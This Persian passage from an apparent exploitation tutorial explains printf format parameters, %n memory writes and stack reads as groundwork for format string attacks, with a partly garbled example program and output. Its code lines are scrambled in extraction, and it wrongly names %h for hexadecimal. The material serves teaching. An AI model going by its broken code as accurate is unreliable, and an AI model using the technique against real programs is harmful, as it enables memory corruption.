اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی ﺳﺮرﯾﺰ ﺑﺎﻓﺮ ،ﻫﺪف ﻧﻬﺎﯾﯽ از ﯾﮏ اﮐﺴﭙﻠﻮﯾﺖ رﺷﺘﻪ ﻓﺮﻣﺖ ﻧﯿﺰ ﺟﺎﯾﻨﻮﯾﺴﯽ داده ﻫﺎ اﺳـﺖ ﺗـﺎ ﺑﺘـﻮان روﻧـﺪ
اﺟﺮاﯾﯽ ﯾﮏ ﺑﺮﻧﺎﻣﻪ را ﮐﻨﺘﺮل ﮐﺮد .ﻫﻤﭽﻨﯿﻦ ﻣﻤﮑﻦ اﺳﺖ اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی رﺷﺘﻪ ﻓﺮﻣﺖ ﺑﺮ ﮔﻮﻧـﻪ ای از اﺷـﺘﺒﺎﻫﺎت ﺑﺮﻧﺎﻣـﻪ
ﻧﻮﯾﺴﯽ اﺳﺘﻮار ﺑﺎﺷﻨﺪ ﮐﻪ ﻧﻈﺮ ﺑﻪ ﺗﺎﺛﯿﺮ آﺷﮑﺎر آﻧﻬﺎ روی ﻣﺴﺌﻠﻪ اﻣﻨﯿﺖ ﻧﺮود .ﺑﻪ ﻫﺮ ﺣﺎل در ﺻﻮرت ﺣﻞ ﺷﺪن اﯾﻦ ﻣﻌﻤـﺎ و
ﺷﻨﺎﺧﺘﻦ اﯾﻦ ﺗﮑﻨﯿﮏ اﮐﺴﭙﻠﻮﯾﺖ ،ﺣﻞ ﮐﺮدن ﻣﻌﻠﻤﺎ و ﺗﺸﺨﯿﺺ و رﻓﻊ ﻣﺸﮑﻼت در راﺑﻄﻪ ﺑﺎ اﯾﻦ ﻧﻮع آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎ ﻧﯿﺰ
ﺑﺴﯿﺎر ﺳﺎده ﺧﻮاﻫﺪ ﺑﻮد .اﻣﺎ اﺑﺘﺪا ﭘﯿﺶ زﻣﯿﻨﻪ ای از رﺷﺘﻪ ﻫﺎی ﻓﺮﻣﺖ ﻧﯿﺎز اﺳﺖ.
رﺷﺘﻪ ﻫﺎی ﻓﺮﻣﺖ ﺗﻮﺳﻂ ﺗﻮاﺑﻊ ﻓﺮﻣﺖ ) (format functionاز ﻗﺒﯿﻞ )( printfاﺳﺘﻔﺎده ﻣﯽ ﺷﻮﻧﺪ .اﯾﻦ ﺗﻮاﺑﻊ ﯾـﮏ رﺷـﺘﻪ
ﻓﺮﻣﺖ را ﺑﻪ ﻋﻨﻮان اوﻟﯿﻦ آرﮔﻮﻣﺎن درﯾﺎﻓﺖ ﻣﯽ ﮐﻨﻨﺪ .ﺗﻌـﺪاد آرﮔﻮﻣـﺎن ﻫـﺎ ﻧﯿـﺰ ﻣﺒﺘﻨـﯽ ﺑـﺮ ﻫﻤـﺎن رﺷـﺘﻪ اﺳـﺖ .دﺳـﺘﻮر
)( printfﻣﮑﺮرا در ﮐﺪﻫﺎی ﻗﺒﻠﯽ اﺳﺘﻔﺎده ﻣﯽ ﺷﺪ .ﻣﺜﺎﻟﯽ از آﺧﺮﯾﻦ ﺑﺮﻧﺎﻣﻪ را در زﯾﺮ ﻣﻼﺣﻈﻪ ﻣﯽ ﮐﻨﯿﺪ:
printf("You picked: ;)%d\n", user_pick
48
در اﯾﻨﺠﺎ رﺷﺘﻪ ﻓﺮﻣﺖ ﺑﺮاﺑﺮ ﺑﺎ " "you picked: %d\nاﺳﺖ .ﺗﺎﺑﻊ )( printfرﺷﺘﻪ ﻓﺮﻣﺖ را ﭼﺎپ ﻣﯽ ﮐﻨﺪ ،اﻣﺎ ﺑﻪ ﻫﻨﮕﺎم
ﺑﺮﺧﻮرد ﺑﺎ ﯾﮏ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ) (format parameterﻣﺜﻞ %dﻋﻤﻠﯿﺎت ﺧﺎص و وﯾﮋه ای اﻧﺠﺎم ﻣﯽ دﻫﺪ .اﯾـﻦ ﭘـﺎراﻣﺘﺮ
ﺟﻬﺖ ﭼﺎپ ﮐﺮدن آرﮔﻮﻣﺎن ﺑﻌﺪی ﺗﺎﺑﻊ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﻣﻘﺪار ﺻـﺤﯿﺢ در ﻣﺒﻨـﺎی ده ﻣـﻮرد اﺳـﺘﻔﺎده ﻗـﺮار ﻣـﯽ ﮔﯿـﺮد .در
ﺟﺪول زﯾﺮ ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ ﻣﺸﺎﺑﻪ دﯾﮕﺮی را ﻣﺸﺎﻫﺪه ﻣﯽ ﮐﻨﯿﺪ.
ﻧﻮع ﺧﺮوﺟﯽ ﭘﺎراﻣﺘﺮ
ﻣﺒﻨﺎی ده )دﺳﯿﻤﺎل( %d
ﻣﺒﻨﺎی ده و ﺑﺪون ﻋﻼﻣﺖ )(Unsigned Decimal %u
ﻣﺒﻨﺎی ﺷﺎﻧﺰده )ﻫﮕﺰادﺳﯿﻤﺎل( %x
ﺗﻤﺎم ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ ﻓـﻮق داده ﻫـﺎی ﺧـﻮد ﺑـﻪ ﺻـﻮرت داده درﯾﺎﻓـﺖ ﻣـﯽ ﮐﻨﻨـﺪ ،ﻧـﻪ ﺑـﻪ ﺻـﻮرت اﺷـﺎرﮔﺮ ﺑـﻪ داده.
ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ دﯾﮕﺮی وﺟﻮد دارﻧﺪ ﮐﻪ داده ﻫﺎی ﺧﻮد را ﺑﻪ ﺻﻮرت اﺷﺎرﮔﺮ درﯾﺎﻓﺖ ﻣﯽ ﮐﻨﻨﺪ .در زﯾﺮ اﯾﻦ ﭘﺎراﻣﺘﺮﻫﺎ
ﻟﯿﺴﺖ ﺷﺪه اﻧﺪ:
ﻧﻮع ﺧﺮوﺟﯽ ﭘﺎراﻣﺘﺮ
رﺷﺘﻪ %s
ﺗﻌﺪاد ﺑﺎﯾﺖ ﻫﺎﯾﯽ ﮐﻪ ﺗﺎ ﺑﻪ ﺣﺎل ﻧﻮﺷﺘﻪ ﺷﺪه اﻧﺪ %n
ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ %sاﻧﺘﻈﺎر درﯾﺎﻓﺖ ﯾـﮏ آدرس ﺣﺎﻓﻈـﻪ را دارد و داده ﻫـﺎی ﻣﻮﺟـﻮد در آن آدرس ﺣﺎﻓﻈـﻪ را ﺗـﺎ زﻣـﺎن
ﺑﺮﺧﻮرد ﺑﻪ ﯾﮏ ﺑﺎﯾﺖ ﭘﻮچ ﭼﺎپ ﻣﯽ ﮐﻨﺪ .ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ %nﯾﮏ ﭘﺎراﻣﺘﺮ ﺧﺎص اﺳﺖ ،ﭼﺮا ﮐـﻪ ﻋﻤـﻞ ﻧﻮﺷـﺘﻦ را در داده
اﻧﺠﺎم ﻣﯽ دﻫﺪ .اﯾﻦ ﭘﺎراﻣﺘﺮ ﻧﯿﺰ اﻧﺘﻈﺎر درﯾﺎﻓﺖ ﯾﮏ آدرس ﺣﺎﻓﻈﻪ را دارد و ﺗﻌﺪاد ﺑﺎﯾﺖ ﻫـﺎﯾﯽ را ﮐـﻪ از اﺑﺘـﺪا ﺗـﺎ ﻣﮑـﺎن
ﭘﺎراﻣﺘﺮ ﻧﻮﺷﺘﻪ ﺷﺪه اﻧﺪ در آن آدرس ﺣﺎﻓﻈﻪ ﻣﯽ ﻧﻮﯾﺴﺪ.
ﯾﮏ ﺗﺎﺑﻊ ﻓﺮﻣﺖ ﻣﺜﻞ )( printfﺗﻨﻬﺎ رﺷﺘﻪ ﻓﺮﻣﺖ ﻣﻨﺘﻘﻞ ﺷﺪه ﺑﻪ ﺧﻮد را ارزﯾﺎﺑﯽ ﻣﯽ ﮐﻨﺪ و ﻫﺮ ﻫﻨﮕﺎم ﮐﻪ ﺑـﺎ ﯾـﮏ ﭘـﺎراﻣﺘﺮ
ﻓﺮﻣﺖ ﺑﺮﺧﻮرد ﮐﻨﺪ ﻋﻤﻞ ﺧﺎﺻﯽ را اﻧﺠﺎم ﻣﯽ دﻫﺪ .ﻫﺮ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ اﻧﺘﻈﺎر اﻧﺘﻘـﺎل ﯾـﮏ ﻣﺘﻐﯿـﺮ را ﺑـﻪ ﺧـﻮد ﻣـﯽ ﮐـﺸﺪ،
ﺑﻨﺎﺑﺮاﯾﻦ اﮔﺮ ﺳﻪ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ در ﯾﮏ رﺷﺘﻪ ﻓﺮﻣﺖ ﻣﻮﺟﻮد ﺑﺎﺷﺪ ،آﻧﮕﺎه ﻋـﻼوه ﺑـﺮ آرﮔﻮﻣـﺎن رﺷـﺘﻪ ﻓﺮﻣـﺖ ،ﺑﺎﯾـﺪ ﺳـﻪ
آرﮔﻮﻣﺎن اﺿﺎﻓﯽ در ﺗﺎﺑﻊ ﻣﻮﺟﻮد ﺑﺎﺷﺪ .ﯾﮏ ﻣﺜﺎل واﺿﺢ ﺷﺪن ﻣﻄﺎﻟﺐ را ﺗﺴﺮﯾﻊ ﻣﯽ ﮐﻨﺪ.
fmt_example.c code
>#include <stdio.h
)(int main
{
;"char string[7] = "sample
;int A = -72
;unsigned int B = 31337
;int count_one, count_two
49
;)printf("count_one: %d\n", count_one
;)printf("count_two: %d\n", count_two
;)exit(0
}
ﻓﺮآﯾﻨﺪ ﮐﺎﻣﭙﺎﯾﻞ و اﺟﺮای ﺑﺮﻧﺎﻣﻪ را ﻣﺸﺎﻫﺪه ﻣﯽ ﮐﻨﯿﺪ:
$ gcc -o fmt_example fmt_example.c
$ ./fmt_example
[A] Dec: -72, Hex: ffffffb8, Unsigned: 4294967224
[B] Dec: 31337, Hex: 7a69, Unsigned: 31337
'[field width on B] 3: '31337', 10: ' 31337', '00031337
[string] sample Address bffff960
count_one is located at: bffff964
count_two is located at: bffff960
The number of bytes written up to this point X is being stored in count_one,
and
the number of bytes up to here X is being stored in count_two.
count_one: 46
count_two: 113
A is -72 and is at bffff95c. B is 31337 and is at bffff958.
$
دو ﺟﻤﻠﻪ )( printfاﺑﺘﺪاﯾﯽ ،ﻧﺸﺎن دﻫﻨﺪه ﭼﺎپ ﺷﺪن ﻣﺘﻐﯿﺮﻫﺎی Aو Bﺑﺎ ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ ﻣﺨﺘﻠـﻒ ﻫـﺴﺘﻨﺪ .ﭼـﻮن در
ﻫﺮ ﺧﻂ ﺳﻪ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ وﺟﻮد دارد ،ﻟﺬا ﻣﺘﻐﯿﺮﻫﺎی Aو Bﻫﺮ ﮐﺪام ﺑﺎﯾـﺪ ﺳـﻪ ﺑـﺎر اراﺋـﻪ ﺷـﻮﻧﺪ .ﭘـﺎراﻣﺘﺮ ﻓﺮﻣـﺖ %d
اﻣﮑﺎن ﭼﺎپ ﺷﺪن ﻣﻘﺎدﯾﺮ ﻣﻨﻔﯽ را ﻧﯿﺰ ﻓﺮاﻫﻢ ﻣﯽ آورد ،درﺣﺎﻟﯿﮑﻪ %uﺧﯿـﺮ ،ﭼـﻮن اﯾـﻦ ﭘـﺎراﻣﺘﺮ اﻧﺘﻈـﺎر ﻣﻘـﺎدﯾﺮ ﺑـﺪون
ﻋﻼﻣﺖ )ﻣﺜﺒﺖ( را دارد.
ﺑﻪ ﻫﻨﮕﺎم اﺳﺘﻔﺎده از ،%uﻣﺘﻐﯿﺮ Aﺑﻪ ﺻﻮرت ﯾﮏ ﻣﻘﺪار ﺑﺴﯿﺎر زﯾﺎد ﺑﻪ ﺧﺮوﺟﯽ رﻓﺘﻪ و ﭼـﺎپ ﻣـﯽ ﺷـﻮد ،ﭼـﻮن ﻣﻘـﺎدﯾﺮ
ﻣﻨﻔﯽ ﮐﻪ ﺑﻪ ﺻﻮرت ﻣﺘﻤﻢ دو ذﺧﯿﺮه ﻣﯽ ﺷﻮﻧﺪ ،در اﯾﻨﺠﺎ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﻣﻘﺪار ﺑـﺪون ﻋﻼﻣـﺖ ﻧﻤـﺎﯾﺶ داده اﻧـﺪ .ﻣـﺘﻤﻢ دو
) (Two's Complementروش ذﺧﯿﺮه ﺷﺪن اﻋﺪاد ﻣﻨﻔﯽ روی ﮐﺎﻣﭙﯿﻮﺗﺮﻫﺎ اﺳﺖ .ﻣﻔﻬﻮم ﻣﺘﻤﻢ دو ،اراﺋـﻪ ﯾـﮏ ﻧﻤـﺎﯾﺶ
ﺑﺎﯾﻨﺮی )دودوﯾﯽ( از اﻋﺪد اﺳﺖ ،ﺑﻄﻮرﯾﮑﻪ در ﺻﻮرت اﺿﺎﻓﻪ ﺷﺪن آن ﺑﻪ ﯾﮏ ﻋﺪد ﻣﺜﺒﺖ ﺑﺎ ﻫﻤﺎن ﺑﺰرﮔـﯽ )داﻣﻨـﻪ ﻃـﻮل(
ﻋﺪد ﺻﻔﺮ ﺗﻮﻟﯿﺪ ﺷﻮد.
اﯾﻦ ﮐﺎر ﺑﺎ ﻧﻮﺷﺘﻦ ﻋﺪد ﻣﺜﺒﺖ ﺑﻪ ﺻﻮرت دو دوﯾﯽ ،ﻣﻌﮑﻮس ﮐﺮدن ﺗﻤﺎم ﺑﯿﺖ ﻫﺎ و در آﺧﺮ اﺿﺎﻓﻪ ﮐﺮدن ﻋﺪد 1اﻧﺠﺎم ﻣﯽ
ﺷﻮد .ﻣﯽ ﺗﻮان اﯾﻦ ﻣﺴﺌﻠﻪ را ﺑﺎ ﯾﮏ ﻣﺎﺷﯿﻦ ﺣﺴﺎب دارای ﻣﺒﻨﺎی 2و ،16ﻣﺜﻞ ،pcalcﺳﺮﯾﻌﺎ ﺑﺮرﺳﯽ ﮐﺮد.
$ pcalc 72
72 0x48 0y1001000
$ pcalc 0y0000000001001000
72 0x48 0y1001000
$ pcalc 0y1111111110110111
65463 0xffb7 0y1111111110110111
$ pcalc 0y1111111110110111 + 1
65464 0xffb8 0y1111111110111000
$
اﯾﻦ ﻣﺜﺎل از pcalcﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ دو ﺑﺎﯾﺖ آﺧﺮ از ﻧﻤﺎﯾﺶ ﻣﺘﻤﻢ دو ﺑﺮای -72ﺑﺎﯾﺪ 0xffb8ﺑﺎﺷﻨﺪ ﮐﻪ اﯾﻦ ﻣﺴﺌﻠﻪ در
ﺧﺮوﺟﯽ ﻫﮕﺰادﺳﯿﻤﺎل Aدرﺳﺖ ﺑﻪ ﻧﻈﺮ ﻣﯽ آﯾﺪ.
ﺳﻮﻣﯿﻦ ﺧﻂ ﮐﻪ ﺑﺎ ] [field width on Bﺑﺮﭼﺴﺐ ﮔﺬاری ﺷﺪه اﺳﺖ ،اﺳﺘﻔﺎده از ﮔﺰﯾﻨﻪ ﻃـﻮل ﻣﯿـﺪان ) (field widthرا
در ﯾﮏ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ﻧﺸﺎن ﻣﯽ دﻫﺪ .ﻃﻮل ﻣﯿﺪان ﺗﻨﻬﺎ ﯾﮏ ﻋﺪد ﺻﺤﯿﺢ اﺳﺖ ﮐﻪ ﺣﺪاﻗﻞ ﻃﻮل ﻣﯿـﺪان ﺑـﺮای آن ﭘـﺎراﻣﺘﺮ
ﻓﺮﻣﺖ را ﺗﻌﯿﯿﻦ ﻣﯽ ﮐﻨﺪ ،اﻣﺎ ﻧﺸﺎن دﻫﻨﺪه ﺣﺪاﮐﺜﺮ ﻃﻮل ﻣﯿﺪان ﻧﺨﻮاﻫﺪ ﺑﻮد ،ﭼﻮن اﮔﺮ ﻣﻘـﺪار ﺧﺮوﺟـﯽ ﺑﺰرﮔﺘـﺮ از ﻃـﻮل
ﻣﯿﺪان ﺑﺎﺷﺪ ،ﻻﺟﺮم از ﻃﻮل ﻣﯿﺪان ﺗﻌﯿﯿﻦ ﺷﺪه ﺗﺠﺎوز ﺧﻮاﻫﺪ ﮐﺮد .ﻣﺜﻼ اﮔﺮ ﻃﻮل ﻣﯿﺪان ﺑﺮاﺑﺮ 3ﺑﺎﺷﺪ اﯾﻦ ﻣﺴﺌﻠﻪ رخ ﻣـﯽ
دﻫﺪ ،ﭼﺮاﮐﻪ داده ﺧﺮوﺟﯽ ﻧﯿﺎز ﺑﻪ 5ﺑﺎﯾﺖ دارد .ﻫﻤﭽﻨﯿﻦ در ﺻﻮرﺗﯽ ﮐﻪ از 10ﺑﺎﯾﺖ ﺑﻪ ﻋﻨﻮان ﻃﻮل ﻣﯿﺪان اﺳﺘﻔﺎده ﺷﻮد،
50
5ﺑﺎﯾﺖ ﻓﻀﺎی ﺧﺎﻟﯽ ﻗﺒﻞ از داده ﺧﺮوﺟﯽ ﻣﻮﺟﻮد ﺧﻮاﻫﺪ ﺑﻮد .ﺑﻌﻼوه اﮔﺮ ﻣﻘﺪار ﻃﻮل ﻣﯿﺪان ﺑﺎ ﯾﮏ ﺻﻔﺮ ﺷﺮوع ﺷـﻮد ،ﺑـﻪ
اﯾﻦ ﻣﻌﻨﯽ ﺧﻮاﻫﺪ ﺑﻮد ﮐﻪ ﻣﯿﺪان در ﻓﻀﺎﻫﺎی ﺧﺎﻟﯽ ﺑﺎﯾﺪ ﺑﺎ اﻋﺪاد ﺻﻔﺮ ﭘﺮ ﺷﻮد ) ،(paddingﻣﺜﻼ اﮔﺮ ﻣﻘﺪار 08ﺑﻪ ﻋﻨـﻮان
ﻃﻮل ﻣﯿﺪان اﺳﺘﻔﺎده ﺷﻮد ،ﺧﺮوﺟﯽ ﺑﺮاﺑﺮ ﺑﺎ 00031337ﺧﻮاﻫﺪ ﺑﻮد.
ﺧﻂ ﭼﻬﺎرم ﮐﻪ ﺑﺎ ] [stringﺑﺮﭼﺴﺐ ﮔﺬاری ﺷﺪه اﺳﺖ ،ﮐـﺎرﺑﺮد ﭘـﺎراﻣﺘﺮ ﻓﺮﻣـﺖ %sرا ﻧـﺸﺎن ﻣـﯽ دﻫـﺪ .رﺷـﺘﻪ ﻣﺘﻐﯿـﺮ
) (variable stringدر ﺣﻘﯿﻘﺖ ﯾﮏ اﺷﺎرﮔﺮ ﻣﺤﺘﻮای آدرس رﺷﺘﻪ اﺳﺖ .اﯾﻦ رﺷﺘﻪ ﻣﺘﻐﯿﺮ ﺑﻪ ﺧﻮﺑﯽ در اﯾـﻦ ﻣـﻮرد ﮐـﺎر
ﻣﯽ ﮐﻨﺪ ،ﭼﺮا ﮐﻪ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ %sاﻧﺘﻈﺎر دارد ﮐﻪ داده ﻫﺎ ﺑﻪ ﺻﻮرت ارﺟﺎﻋﯽ ) (by-Referenceﺑﻪ آن ﻣﻨﺘﻘﻞ ﺷﻮﻧﺪ.
ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻣﺜﺎل ﻫﺎ ﺑﻪ ﺧﻮﺑﯽ ﻧﺸﺎن ﻣﯽ دﻫﻨﺪ ،ﺷﻤﺎ ﺑﺎﯾﺪ از %dﺑﺮای ﻣﻘﺎدﯾﺮ ﻣﺒﻨﺎی ده )دﺳﯿﻤﺎل( ،از %uﺑﺮای ﻣﻘـﺎدﯾﺮ
ﺑﺪون ﻋﻼﻣﺖ و از %hﺑﺮای ﻣﻘﺎدﯾﺮ ﻣﺒﻨﺎی ﺷﺎﻧﺰده )ﻫﮕﺰادﺳﯿﻤﺎل( اﺳﺘﻔﺎده ﮐﻨﯿﺪ .ﺣﺪاﻗﻞ ﻃﻮل ﻣﯿﺪان را ﻣﯽ ﺗﻮان ﺑﺎ ﻗـﺮار
دادن ﯾﮏ ﻋﺪد ﺑﻌﺪ از ﻋﻼﻣﺖ %ﺗﻨﻈﯿﻢ ﮐﺮد .اﮔﺮ ﻃﻮل ﻣﯿﺪان ﺑﺎ ) 0ﺻﻔﺮ( ﺷﺮوع ﺷﻮد ،ﻓﻀﺎﻫﺎی ﺧﺎﻟﯽ ﺑﺎ ﺻﻔﺮ ﭘﺮ ﻣﯿﮕﺮدﻧﺪ
) .(padﭘﺎراﻣﺘﺮ %sرا ﻣﯽ ﺗﻮان ﺑﺮای ﭼﺎپ رﺷﺘﻪ ﻫﺎ ﺑﻪ ﮐﺎر ﺑﺮد ﮐﻪ ﺑﻪ اﯾﻦ ﻣﻨﻈﻮر آدرس رﺷﺘﻪ ﺑﺎﯾﺪ ﺑﻪ آن ﻣﻨﺘﻘﻞ ﺷﻮد .ﺗﺎ
اﯾﻨﺠﺎ ﻫﻤﻪ ﭼﯿﺰ واﺿﺢ و ﺧﻮب ﭘﯿﺶ رﻓﺖ.
ﻗﺴﻤﺖ ﺑﻌﺪی در ﻣﺜﺎل اﺳﺘﻔﺎده از ﻋﻤﻠﮕﺮ آدرس ﯾﮕﺎﻧﯽ ) (unary address operatorرا ﻧﺸﺎن ﻣﯽ دﻫـﺪ .در زﺑـﺎن ،C
اﮔﺮ ﮐﺎراﮐﺘﺮ آﻣﭙﺮﺳﻨﺪ )&( ﺑﻪ ﻫـﺮ ﻣﺘﻐﯿـﺮ اﺿـﺎﻓﻪ ﺷـﻮد ،آدرس ﻣﺘﻐﯿـﺮ را ﺑـﺮ ﻣـﯽ ﮔﺮداﻧـﺪ .ﻗـﺴﻤﺖ ﻣﺮﺑﻮﻃـﻪ را در ﮐـﺪ
fmt_example.cﻣﺸﺎﻫﺪه ﻣﯽ ﮐﻨﯿﺪ:
// Example of unary address operator and a %x format string
;)printf("count_one is located at: %08x\n", &count_one
;)printf("count_two is located at: %08x\n", &count_two
ﺗﮑﻪ ﺑﻌـﺪی در ﮐـﺪ fmt_example.cﮐـﺎرﺑﺮد ﭘـﺎراﻣﺘﺮ ﻓﺮﻣـﺖ %nرا ﻧـﺸﺎن ﻣـﯽ دﻫـﺪ .ﭘـﺎراﻣﺘﺮ ﻓﺮﻣـﺖ %nﺑـﺎ ﺗﻤـﺎم
ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ دﯾﮕﺮ ﺗﻔﺎوت دارد ،ﭼﺮا ﮐﻪ ﺑﺪون ﻧﻤﺎﯾﺶ ﭼﯿﺰی ،داده ﻣﺤﺘﻮای ﺧـﻮد را در ﯾـﮏ ﻣﺘﻐﯿـﺮ ﻣـﯽ ﻧﻮﯾـﺴﺪ،
درﺳﺖ ﻋﮑﺲ ﺧﻮاﻧﺪن و ﻧﻤﺎﯾﺶ ﯾﮏ ﻣﻘﺪار )ﮐﻪ در دﯾﮕﺮ ﭘﺎراﻣﺘﺮﻫﺎ ﻣﺼﺪاق ﭘﯿﺪا ﻣـﯽ ﮐﻨـﺪ( .ﻫﻨﮕـﺎم ﺑﺮﺧـﻮرد ﯾـﮏ ﺗـﺎﺑﻊ
ﻓﺮﻣﺖ ﺑﻪ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ،%nﺗﻌﺪاد ﺑﺎﯾﺖ ﻫﺎﯾﯽ ﮐﻪ ﺗﺎ ﺑﻪ ﺣﺎل ﺗﻮﺳﻂ ﺗﺎﺑﻊ ﻧﻮﺷﺘﻪ ﺷﺪه اﻧـﺪ در آدرس آرﮔﻮﻣـﺎن ﻣﺮﺑﻮﻃـﻪ
ﻧﻮﺷﺘﻪ ﻣﯽ ﺷﻮﻧﺪ .در ﮐﺪ ،fmt_exampleاﯾﻦ ﻋﻤﻞ در دو ﻧﻘﻄﻪ اﺗﻔﺎق ﻣﯽ اﻓﺘﺪ و از ﻋﻤﻠﮕﺮ آدرس ﯾﮕﺎﻧﯽ ﺟﻬـﺖ ﻧﻮﺷـﺘﻦ
اﯾﻦ داده ﻫﺎ ﺑﻪ ﺗﺮﺗﯿﺐ در ﻣﺘﻐﯿﺮﻫﺎی count_oneو count_twoاﺳﺘﻔﺎده ﺷﺪه اﺳﺖ .ﺳﭙﺲ ﻣﻘـﺎدﯾﺮ ﺑـﻪ ﺧﺮوﺟـﯽ ﻣـﯽ
روﻧﺪ و ﻣﻌﻠﻮم ﻣﯽ ﺷﻮد ﮐﻪ 46ﺑﺎﯾﺖ ﻗﺒﻞ از اوﻟﯿﻦ و 113ﺑﺎﯾﺖ ﻗﺒﻞ از دوﻣﯿﻦ ﭘﺎراﻣﺘﺮ %nوﺟﻮد دارﻧﺪ.
در ﻧﻬﺎﯾﺖ ﻣﺜﺎل ﭘﺸﺘﻪ در ﺗﻮﺿﯿﺢ ﻧﻘﺶِ ﭘﺸﺘﻪ در راﺑﻄﻪ ﺑﺎ رﺷﺘﻪ ﻫﺎی ﻓﺮﻣﺖ ﻣﻔﯿﺪ واﻗﻊ ﻣﯽ ﺷﻮد:
;)printf("A is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B, &B
ﻫﻨﮕﺎم ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ )( ،printfدرﺳﺖ ﻣﺎﻧﻨﺪ ﻫﺮ ﺗﺎﺑﻊ دﯾﮕﺮ ،آرﮔﻮﻣﺎن ﻫﺎی اﯾﻦ ﺗﺎﺑﻊ ﺑﻪ ﺻﻮرت ﻣﻌﮑﻮس در ﭘﺸﺘﻪ ﻗـﺮار
ﻣﯽ ﮔﯿﺮﻧﺪ ) .(pushاﺑﺘﺪا آدرس ،Bﺳﭙﺲ ﻣﻘﺪار ،Bآدرس ،Aﻣﻘﺪار Aو ﻧﻬﺎﯾﺘﺎ آدرس رﺷﺘﻪ ﻓﺮﻣﺖ در ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ
ﮔﯿﺮﻧﺪ .در اﯾﻦ ﺣﺎﻟﺖ ﭘﺸﺘﻪ ﺷﺒﯿﻪ ﺑﻪ زﯾﺮ اﺳﺖ:
51
ﺗﺎﺑﻊ ﻓﺮﻣﺖ ﻓﻘﻂ ﯾﮏ ﮐﺎراﮐﺘﺮ در آن واﺣﺪ در رﺷﺘﻪ ﻓﺮﻣﺖ ﺟﻠﻮ ﻣﯽ رود .اﮔﺮ آن ﮐﺎراﮐﺘﺮ ﺷﺮوع ﯾﮏ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ )ﮐـﻪ
ﺑﺎ ﻋﻼﻣﺖ %ﺗﻌﯿﯿﻦ ﻣﯽ ﺷﻮد( ﻧﺒﺎﺷﺪ ،آﻧﮕﺎه ﺑﻪ ﺧﺮوﺟﯽ ﺧﻮاﻫﺪ رﻓﺖ .اﻣﺎ اﮔﺮ ﺑﻪ ﯾﮏ ﭘـﺎراﻣﺘﺮ ﻓﺮﻣـﺖ روﺑـﺮو ﺷـﻮد ،آﻧﮕـﺎه
ﻋﻤﻠﯿﺎت و اﻗﺪاﻣﺎت ﻻزم ﺑﺎ آرﮔﻮﻣﺎن ﻣﺘﻨﺎﻇﺮ ﺑﺎ آن ﭘﺎراﻣﺘﺮ در ﭘﺸﺘﻪ اﻧﺠﺎم ﻣﯽ ﺷﻮﻧﺪ.
اﻣﺎ اﮔﺮ ﻓﻘﻂ ﺳﻪ آرﮔﻮﻣﺎن روی ﭘﺸﺘﻪ ﻗﺮار ﮔﯿﺮد و ﯾﮏ رﺷﺘﻪ ﻓﺮﻣﺖ از ﭼﻬﺎر ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ اﺳﺘﻔﺎده ﮐﻨﺪ ﭼﻪ اﺗﻔـﺎﻗﯽ ﻣـﯽ
اﻓﺘﺪ!؟ ﺧﻂ زﯾﺮ ﺑﺎ ﺗﺎﺑﻊ )( printfرا ﻃﻮری ﺗﻐﯿﯿﺮ ﻣﯽ دﻫﯿﻢ ﺗﺎ ﺷﺮاﯾﻂ ﻓﻮق ﺑﺮﻗﺮار ﺷﻮد:
;)printf("A is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B
ﻣﯽ ﺗﻮان ﺑﺎ ﯾﮏ وﯾﺮاﺷﮕﺮ ﯾﺎ ﺑﺎ اﺳﺘﻔﺎده از SEDاﯾﻦ ﺣﺎﻟﺖ را ﺑﺮرﺳﯽ ﮐﺮد.
$ sed -e 's/B, &B)/B)/' fmt_example.c > fmt_example2.c
$ gcc -o fmt_example fmt_example2.c
$ ./fmt_example
[A] Dec: -72, Hex: ffffffb8, Unsigned: 4294967224
[B] Dec: 31337, Hex: 7a69, Unsigned: 31337
' [field width on B] 3: '31337', 10: '31337', '00031337
[string] sample Address bffff970
count_one is located at: bffff964
count_two is located at: bffff960
The number of bytes written up to this point X is being stored in count_one,
and
the number of bytes up to here X is being stored in count_two.
count_one: 46
count_two: 113
A is -72 and is at bffff96c. B is 31337 and is at 00000071.
$
ﻧﺘﯿﺠﻪ ﺑﺮرﺳﯽ 00000071ﺑﺪﺳﺖ آﻣﺪ .ﺳﻮال اﯾﻦ اﺳﺖ ﮐﻪ ﭼﺮا و ﭼﻄﻮر اﯾﻦ ﻣﻘﺪار ﺑﺪﺳﺖ آﻣﺪ؟ ﺟﻮاب اﯾـﻦ اﺳـﺖ ﮐـﻪ
ﭼﻮن ﻣﻘﺪاری ﺑﺮ روی ﭘﺸﺘﻪ ﻗﺮار ﻧﮕﺮﻓﺘﻪ ﺑﻮد ) ،(pushﻟﺬا ﺗﺎﺑﻊ ﻓﺮﻣﺖ داده را از ﺟﺎﯾﯽ ﮐﻪ آرﮔﻮﻣﺎن ﭼﻬـﺎرم ﻣـﯽ ﺑﺎﯾـﺴﺘﯽ
